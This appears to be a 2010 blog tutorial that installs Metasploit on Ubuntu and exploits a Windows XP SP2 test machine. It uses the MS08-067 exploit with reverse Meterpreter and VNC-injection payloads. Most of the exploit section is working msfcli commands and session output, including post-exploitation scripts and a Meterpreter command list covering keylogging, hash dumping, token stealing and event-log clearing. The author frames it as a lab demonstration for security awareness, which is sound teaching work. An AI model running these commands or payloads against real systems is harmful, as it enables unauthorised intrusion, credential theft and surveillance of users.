Metasploit is a very powerful exploitation framework developed by HD Moore.
Solid growth has seen an early version that has a few exploits in a perl based wrapper turn into a ruby coded framework that is competing with Core Impact and others in the pen-testing community.
Here is a quick introduction to running it on Ubuntu Linux 10.04. It will run just as easily on Fedora Linux, Windows or other Operating System of choice.
Download the framework from https://www.metasploit.com/get-started
I chose the binary version for 64 bit Linux.
Ruby is not installed by default in Ubuntu so start off with:
apt-get install ruby chmod +x framework-3.4.0-linux-x86_64.run ./framework-3.4.0-linux-x86_64.run Verifying archive integrity... All good. Uncompressing Metasploit Framework v3.4.0-release Installer (64-bit)........ 888 888 d8b888 888 888 Y8P888 888 888 888 88888b.d88b. .d88b. 888888 8888b. .d8888b 88888b. 888 .d88b. 888888888 888 "888 "88bd8P Y8b888 "88b88K 888 "88b888d88""88b888888 888 888 88888888888888 .d888888"Y8888b.888 888888888 888888888 888 888 888Y8b. Y88b. 888 888 X88888 d88P888Y88..88P888Y88b. 888 888 888 "Y8888 "Y888"Y888888 88888P'88888P" 888 "Y88P" 888 "Y888 888 888 888 Metasploit Framework v3.4.0 Release Report Bugs: [email protected] Warning: A copy of Metasploit already exists at /opt/metasploit3 continuing this installation will DELETE the previous install, including all user-modified files. Please enter 'yes' to continue or any other key to abort Continue (yes/no) > yes This installer will place Metasploit into the /opt/metasploit3 directory. Continue (yes/no) > yes Removing files from the previous installation... Extracting the Metasploit operating environment... Extracting the Metasploit Framework... Installing links into /usr/local/bin... Installation complete. Would you like to automatically update Metasploit? AutoUpdate? (yes/no) > yes *** snip *** Updated to revision 9390. Launch the Metasploit console by running 'msfconsole' Exiting the installer... root@testbox:/home/testuser/Downloads# msfconsole _ | | o _ _ _ _ _|_ __, , _ | | __ _|_ / |/ |/ | |/ | / | / \_|/ \_|/ / \_| | | | |_/|__/|_/\_/|_/ \/ |__/ |__/\__/ |_/|_/ /| \| =[ metasploit v3.4.1-dev [core:3.4 api:1.0] + -- --=[ 553 exploits - 264 auxiliary + -- --=[ 208 payloads - 23 encoders - 8 nops =[ svn r9390 updated today (2010.06.01) msf > exit
We have a working Metasploit, hoorah for us.
Exploit
Let's do a quick exploit of a Windows XP SP2 test machine I have on my network. It is running in a Sun Virtual box using Host Only Networking as we will see shortly.
I like to use the command line utility for msf (msfcli) as once you get used to the syntax it is easier and faster. However if you prefer go with the msfconsole.
Running #msfcli
will list all exploits, payloads and other modules.
#msfcli | grep 08_067 exploit/windows/smb/ms08_067_netapi Lets hit my windows box with exploit/windows/smb/ms08_067_netapi it is stable and works very well. #msfcli exploit/windows/smb/ms08_067_netapi [*] Please wait while we load the module tree... Usage: /opt/metasploit3/msf3/msfcli
Running the following will display all payloads that will work with ms08_067_netapi
. I have selected two in the following examples. A reverse meterpreter and a vnc reverse dll injection.
#msfcli exploit/windows/smb/ms08_067_netapi P
My windows box is 192.168.56.101
and my local Ubuntu system is 192.168.56.1
# msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (748032 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1050)
meterpreter > run checkvm
[*] Checking if target is a Virtual Machine .....
[*] This is a Sun VirtualBox Virtual Machine
meterpreter > run getcountermeasure
[*] Running Getcountermeasure on the target...
[*] Checking for contermeasures...
[*] Possible countermeasure found avgemc.exe C:\Program Files\AVG\AVG9\avgemc.exe
[*] Getting Windows Built in Firewall configuration...
[*]
[*] Domain profile configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*] Exception mode = Enable
[*]
[*] Standard profile configuration (current):
[*] -------------------------------------------------------------------
[*] Operational mode = Disable
[*] Exception mode = Enable
[*]
[*] Local Area Connection firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] Local Area Connection 2 firewall configuration:
[*] -------------------------------------------------------------------
[*] Operational mode = Enable
[*]
[*] Checking DEP Support Policy...
meterpreter > run get_local_subnets
Local subnet: 10.0.2.0/255.255.255.0
Local subnet: 192.168.56.0/255.255.255.0
meterpreter > help
Core Commands
=============
Command Description
------- -----------
? Help menu
background Backgrounds the current session
bgkill Kills a background meterpreter script
bglist Lists running background scripts
bgrun Executes a meterpreter script as a background thread
channel Displays information about active channels
close Closes a channel
exit Terminate the meterpreter session
help Help menu
interact Interacts with a channel
irb Drop into irb scripting mode
migrate Migrate the server to another process
quit Terminate the meterpreter session
read Reads data from a channel
run Executes a meterpreter script
use Load a one or more meterpreter extensions
write Writes data to a channel
Stdapi: File system Commands
============================
Command Description
------- -----------
cat Read the contents of a file to the screen
cd Change directory
del Delete the specified file
download Download a file or directory
edit Edit a file
getlwd Print local working directory
getwd Print working directory
lcd Change local working directory
lpwd Print local working directory
ls List files
mkdir Make directory
pwd Print working directory
rm Delete the specified file
rmdir Remove directory
upload Upload a file or directory
Stdapi: Networking Commands
===========================
Command Description
------- -----------
ipconfig Display interfaces
portfwd Forward a local port to a remote service
route View and modify the routing table
Stdapi: System Commands
=======================
Command Description
------- -----------
clearev Clear the event log
drop_token Relinquishes any active impersonation token.
execute Execute a command
getpid Get the current process identifier
getprivs Get as many privileges as possible
getuid Get the user that the server is running as
kill Terminate a process
ps List running processes
reboot Reboots the remote computer
reg Modify and interact with the remote registry
rev2self Calls RevertToSelf() on the remote machine
shell Drop into a system command shell
shutdown Shuts down the remote computer
steal_token Attempts to steal an impersonation token from the target process
sysinfo Gets information about the remote system, such as OS
Stdapi: User interface Commands
===============================
Command Description
------- -----------
enumdesktops List all accessible desktops and window stations
getdesktop Get the current meterpreter desktop
idletime Returns the number of seconds the remote user has been idle
keyscan_dump Dump the keystroke buffer
keyscan_start Start capturing keystrokes
keyscan_stop Stop capturing keystrokes
screenshot Grab a screenshot of the interactive desktop
setdesktop Change the meterpreters current desktop
uictl Control some of the user interface components
Priv: Elevate Commands
======================
Command Description
------- -----------
getsystem Attempt to elevate your privilege to that of local system.
Priv: Password database Commands
================================
Command Description
------- -----------
hashdump Dumps the contents of the SAM database
Priv: Timestomp Commands
========================
Command Description
------- -----------
timestomp Manipulate file MACE attributes
meterpreter > pwd
C:\WINDOWS\system32
meterpreter > cd ..
meterpreter > cd ..
meterpreter > pwd
C:\
meterpreter > ls
Listing: C:\
============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
40777/rwxrwxrwx 0 dir 2009-12-22 05:59:31 +1100 $AVG
100777/rwxrwxrwx 0 fil 2009-12-22 05:39:51 +1100 AUTOEXEC.BAT
100666/rw-rw-rw- 0 fil 2009-12-22 05:39:51 +1100 CONFIG.SYS
40777/rwxrwxrwx 0 dir 2010-02-12 15:23:25 +1100 Documents and Settings
100444/r--r--r-- 0 fil 2009-12-22 05:39:51 +1100 IO.SYS
40777/rwxrwxrwx 0 dir 2010-02-11 13:11:43 +1100 Inetpub
100444/r--r--r-- 0 fil 2009-12-22 05:39:51 +1100 MSDOS.SYS
100555/r-xr-xr-x 47564 fil 2004-08-04 22:00:00 +1000 NTDETECT.COM
40555/r-xr-xr-x 0 dir 2010-04-08 15:57:51 +1000 Program Files
40777/rwxrwxrwx 0 dir 2010-04-09 13:14:56 +1000 RECYCLER
40777/rwxrwxrwx 0 dir 2009-12-22 05:43:08 +1100 System Volume Information
40777/rwxrwxrwx 0 dir 2010-04-09 13:18:19 +1000 WINDOWS
100666/rw-rw-rw- 211 fil 2009-12-22 05:35:20 +1100 boot.ini
100444/r--r--r-- 250032 fil 2004-08-04 22:00:00 +1000 ntldr
100666/rw-rw-rw- 301989888 fil 2010-06-01 02:21:17 +1000 pagefile.sys
The power of the meterpreter is really only limited by your imagination. Keylogging, screen captures, adding accounts, dumping the hashes to be cracked offline.....
A VNC injection
# msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/vncinject/reverse_tcp RHOST=192.168.56.101 LHOST=192.168.56.1 E
[*] Please wait while we load the module tree...
[*] Started reverse handler on 192.168.56.1:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (445440 bytes) to 192.168.56.101
[*] Starting local TCP relay on 127.0.0.1:5900...
[*] Local TCP relay started.
[*] Launched vnciewer in the background.
Connected to RFB server, using protocol version 3.8
Enabling TightVNC protocol extensions
No authentication needed
Authentication successful
Desktop name "snipped"
VNC server default format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Using default colormap which is TrueColor. Pixel format:
32 bits per pixel.
Least significant byte first in each pixel.
True colour: max red 255 green 255 blue 255, shift red 16 green 8 blue 0
Same machine: preferring raw encoding
[*] VNC Server session 1 opened (192.168.56.1:4444 -> 192.168.56.101:1062)
This should pop up a vnc session with full desktop control of your Windows XP SP2 Host. This is a dramatic way to show people the power of metasploit and to reinforce the need for patching to your users.
I did a recent demonstration to a group of corporate helpdesk operators and they were quite surprised at just how easy it can be.